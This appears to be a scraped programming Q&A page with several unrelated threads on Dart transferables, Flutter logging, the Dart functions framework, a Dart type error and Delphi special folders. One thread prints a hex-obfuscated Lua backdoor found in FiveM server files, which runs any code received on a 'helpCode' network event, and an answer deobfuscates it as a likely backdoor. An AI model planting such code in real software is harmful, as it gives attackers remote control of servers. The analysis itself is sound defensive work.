Dart Language: how to convert a String into a Transferable (ByteBuffer) - dart

I'll be using window.postMessage("", "*", [transferableData]) to send data between two browser windows. However, I didn't find any straight answer on how to convert types into Transferables.
So, in order for me to start learning this, it would be great to know how to convert a simple String into an Transferable (ByteBuffer) and read it on the other side (the side that is getting the message with the data). This would help me solving my problem and learning about this concept.
IMPORTANT UPDATE:
This question led me here: Dart Language: printing reports
Transferable Objects are not yet implemented on Dart VM (http://dartbug.com/4149). That means, if you're running your application via Dartium (Dart VM) the other window will be receiving and processing the first argument of postMessage, and not the Transferable Object. However, JavaScript does the job: the object gets transfered and the original array, emptied.

import 'dart:convert';
var list = Utf8.encode('xxx');
var data = list is Uint8List ? list.buffer : new Uint8List.fromList(list).buffer;
to send the data using window.PostMessage use
window.postMessage({'data': data}, '*', [data]);
and read it on the receiver side like
var string = Utf8.decode(message.data['data']);
See also http://dartbug.com/19968 for the status of transferrables.
The recent Dart dev channel release already ships with Dartium 38.xxx as far as I know.
Here is a small test case for transferrables https://code.google.com/p/dart/source/browse/branches/bleeding_edge/dart/tests/html/transferables_test.dart

Related

Does this line of Lua code contain any malicious activities?

So while looking at some server files (FiveM/GTA RP Server Files) my friend sent me, I found a line of code that was placed all over the Server's Resources, is it malicious?, since i checked "Hex to ASCII Text String Converter", it looks like it might be an attempt to inject some code into the Lua environment. The code creates a table with several strings that are encoded in hexadecimal format. These strings are then used to access elements in the global environment (_G) and call them as functions. The code also sets up an event listener for the "load" event, which could indicate that the code is intended to run when a specific event occurs in the environment.
Code:
local ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[1]
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2],
function(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZwIDtHyn)
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]()
end)local
ASCII Text to Hex Code Converter
Image
ASCII Text to Hex Code Converter
Response 2
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG is just a variable name. It's not a very nice one, but it is just a variable name.
{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}
is the table:
{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}
with the bytes encoded as hex bytes rather than literal characters.
This deobfuscates to:
local funcs = {
"RegisterNetEvent",
"helpCode",
"AddEventHandler",
"assert",
"load",
_G
};
funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
(funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);
Tables in Lua are 1-indexed, so this further deobfuscates to
_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
(_G["assert"](_G["load"](param)))();
end);
And could be simplified to
RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
assert(load(param))()
end)
While it doesn't look blatantly malicious, it does appear to directly compile and invoke raw code received via the "helpCode" network event, which is certainly dangerous if it's used maliciously. It's possible that this is part of some funny dynamic plugin system, but it's equally possible that it's a backdoor designed to give a network attacker command-and-control over the process.
load is not an event, but the global function used to compile code from a string. The essentially causes the script to listen for a helpCode network event, receive whatever payload from the network event, compile it as Lua code, and execute it. Given that it doesn't even attempt to do any sandboxing of the load'd code, I wouldn't run this without a very comprehensive understanding of how it's being used.

What are the actual differences between the print() vs debugPrint() and log() in Flutter?

I am trying to create a util for logging.
I need to know the actual differences between print() vs debugPrint() and log().
Many answers I have seen are outdated or confusing. Also, some upvoted answers are contradict.
I am trying to print error messages in red color. I am using ANSI code to achieve it.
debugPrint("\x1B[31m HelloDebug \x1B[0m");
The above one print in red color.
But when i do the same using log(), its not printing in red color. Its escaping the ANSI code.
One thing I found out was log() has error parameter.
If i pass something as error , it handles red color by default.
Here in the first one using log, red is not coming because ANSI code is ignored. But in debugPrint using it's working fine. In third one it takes error red by default. But extra line is added even for empty string message.
Code:
Output:
Is it possible use ANSI code for making color text using log?
Because I have other ANSI code to make different color text.
I dont want use debugPrint because if I print some thing too frequently , the system ignore the logs.
After digging some time I found out that log function is implemented in c++ in the dart runtime.As the log function is external function in dart sdk.
external void log(
String message, {
DateTime? time,
int? sequenceNumber,
int level = 0,
String name = '',
Zone? zone,
Object? error,
StackTrace? stackTrace,
});
https://github.com/dart-lang/sdk/blob/main/runtime/lib/developer.cc
Also I see some different answers while digging.
The below answer says debugPrint only available inside widget class. Is it still true?
https://stackoverflow.com/a/52241553/9248098
EDIT:
While using debugPrint and when I launch app from Android studio terminal, the ANSI color is working in android but when I run it same in iOS its escaping the characters in same Android Studio terminal.
If ANSI code support is based on terminal support, I couldn't figure out why its having issue in same terminal in iOS.
It is well explained in this page Debugging Flutter apps programmatically
debugPrint() is similar to print() but with a throttles applied to prevents being dropped by Android’s kernel.
If you have linter setup on VSCode or other IDE, you will see this warning whenever you use print in your code. For more information, you can refer to Avoid print calls in production code.
To avoid the lint error, you can use kDebugMode with print or debugPrint instead.
if (kDebugMode) {
print('test print');
}
// OR
debugPrint('test debugPrint');
As for log(), it actually allows you to include more information on the logging output. For example, you can add the runtimeType and the relevant object in the log that can help you in debugging the code.
log(
'test log',
name: runtimeType.toString(),
error: myObj,
);
** btw I tried log with ANSI code log("\x1B[31m HelloDebug \x1B[0m");, it is working as expected.

Dart Functions Framework usage

I'm new to the Dart functions framework. My goal is to use this package to create several functions and deploy them to Cloud Run (in combination with Firebase, but I guess that's irrelevant to this question).
I've run the quick starts and I've read all of the contents in the docs.
The quick start mentions just one function at a time (e.g. Hello World, Cloud Events, etc..), like this:
import 'package:functions_framework/functions_framework.dart';
import 'package:shelf/shelf.dart';
#CloudFunction()
Response function(Request request) {
return Response.ok('Hello, World!');
}
But as you can see in the quickstarts only one function is handled in a project at a time. How about me wanting to deploy several functions? Should I:
Write several functions in the same project / file, so that the function framework compiles the 'server.dart` by itself
OR
Create a different functions_framework for each function?
Let me be more specific. Should I do the following (option 1 - which makes more sense to me):
import 'dart:math';
import 'package:functions_framework/functions_framework.dart';
import 'package:shelf/shelf.dart';
#CloudFunction()
Response function(Request request) {
return Response.ok('Hello, World!');
}
#CloudFunction()
Response function2(Request request) {
if (Random().nextBool()) {
return Response.ok('Hello, World!');
} else {
return Response.internalServerError();
}
}
Or should I build a different folder by running a build_runner for each function I need in my project?
Is there a difference and/or a best practice?
Thanks in advance.
EDIT. This question is related to the deployment on Cloud Run itself, and not just testing on my own PC. To test my own functions I did the following:
Run dart run build_runner build, so that it updates the server.dart file correctly (I can see that the framework does a lot behind the scenes and that the _nameToFunctionTarget is basically a router);
Run the server in two different terminals, like this: dart run bin/server.dart --port MYPORT --target MYFUNCTION (where MYPORT and MYFUNCTION are either 8080/8081 or function/function2 respectively).
I guess I'm just confused on how to correctly manage this framework once deployed on Cloud Run.
EDIT 2. I just gave up using Dart as a Serverless language or even a Backend language. There's just too much jargon even for the basic things. Any backend framework is either dead, or maintained by one single enthusiast guy (props to him!). This language has not yet received enough love from the Google Team / the community and at this moment in time is basically not possible to go fullstack on just Dart. It's a dream, but it can't be realized now. Furthermore, Dart hardly lacks a proper SDKs to use Firestore, etc., so Firebase isn't an option. I find it easier to just learn NodeJS and exploit the Firebase support for Firebase Functions written in NodeJS, and I'll wait for more support in there in the future, if there ever will be.
The documentation is a bit sparse right now (and I'm new to it also! I couldn't find any good examples, so here goes...)
You can only have a single function that is served. It should be
named 'function' (the type and name can be overriden, see the
cloudevent example dartfn generate cloudevent)
You 'could' have many of these deployed so that each does a specific thing, such as processing cloudevents above, but most people
want something more REST-like (see next)
You need to attach a Router() so that you can have the single entry point (function) handled by specific logic in your code.
Example for Rest
add to pubspec.yaml (in dependencies:) shelf_router: ^1.1.2
delegate the #CloudFunction to use the Router()
functions.dart
import 'package:functions_framework/functions_framework.dart';
import 'package:shelf/shelf.dart';
import 'package:shelf_router/shelf_router.dart';
Router app = Router()
..get('/health', (Request request) {
return Response.ok('healthy');
})
..get('/user/<user>', (Request request, String user) {
// fetch the user... (probably return as json)
return Response.ok('hello $user');
})
..post('/user', (Request request) {
// convert request body to json and persist... (probably return as json)
return Response.ok('saved the user');
});
#CloudFunction()
Future<Response> function(Request request) => app.call(request);

Response isn't a type, cannot and expected to find ';'

I'm trying to send a post request within dart with the following code.
Future<Response> post (url,
{
headers, // My Map<String, String> for header info
body // My Map<String, String> for body info
})
return JSON.jsonDecode(post);
I expect it to send, however, I get two errors.
The name response isn't a type, and cant be used as a type argument, when I hover over "Response" and
expected to find ;, when I hover over "post".
I also get green underlining in android studio saying avoid unnecessary statements
This problem happens in Computers with low specs which makes android studio take time to recognize new input. Waiting will fix the issue, and you can speed this "recognition" process by clicking on the type Response in you case which will make the editor focus on it. And also add parenthesis and commas in correct way before adding new code as Dart Analyzer will quickly get confused and fill your editor with error messages.
I encountered the same issue, and I found that rerunning flutter pub get helped as that command makes sure the Http library gets downloaded.

Why is COMMON_APPDATA returned as a null string on Windows XP

One of my users at a large university (with, I imagine, the aggressive security settings that university IT departments general have on their computers) is getting an empty string returned by Windows XP for CSIDL_COMMON_APPDATA or CSIDL_PERSONAL. (I'm not sure which of these is returning the empty string, because I haven't yet examined his computer to see how he's installed the software, but I'm pretty sure it's the COMMON_APPDATA...)
Has anyone encountered this or have suggestions on how to deal with this?
Here's the Delphi code I'm using to retrieve the value:
Function GetSpecialFolder( FolderID: Integer):String;
var
PIDL: PItemIDList;
Path: array[0..MAX_PATH] of Char;
begin
SHGetSpecialFolderLocation(Application.Handle, FolderID, PIDL);
SHGetPathFromIDList(PIDL, Path);
Result := Path;
end; { GetSpecialFolder }
ShowMessage(GetSpecialFolder(CSIDL_COMMON_APPDATA)); <--- This is an empty string
Edit:
Figuring out this API made me feel like I was chasing my tail - I went in circles trying to find the right call. This method and others similar to it are said to be deprecated by Microsoft (as well as by a earlier poster to this question (#TLama?) who subsequently deleted the post.) But, it seems like most of us, including me, regularly and safely ignore that status.
In my searches, I found a good answer here on SO from some time ago, including sample code for the non-deprecated way of doing this: what causes this error 'Unable to write to application file.ini'.
If you want to find out why an API call is failing you need to check the return values. That's what is missing in this code.
You need to treat each function on its own merits. Read the documentation on MSDN. In the case of SHGetSpecialFolderLocation, the return value is an HRESULT. For SHGetPathFromIDList you get back a BOOL. If that is FALSE then the call failed.
The likely culprit here is SHGetSpecialFolderLocation, the code that receives the CSIDL, but you must check for errors whenever you call Windows API functions.
Taking a look at the documentation for CSIDL we see this:
CSIDL_COMMON_APPDATA
Version 5.0. The file system directory that contains application data for all users. A typical path is C:\Documents and Settings\All
Users\Application Data. This folder is used for application data that
is not user specific. For example, an application can store a
spell-check dictionary, a database of clip art, or a log file in the
CSIDL_COMMON_APPDATA folder. This information will not roam and is
available to anyone using the computer.
If the machine has a shell version lower than 5.0, then this CSIDL value is not supported. That's the only documented failure mode for this CSIDL value. I don't think that applies to your situation, so you'll just have to see what the HRESULT status code has to say.

Resources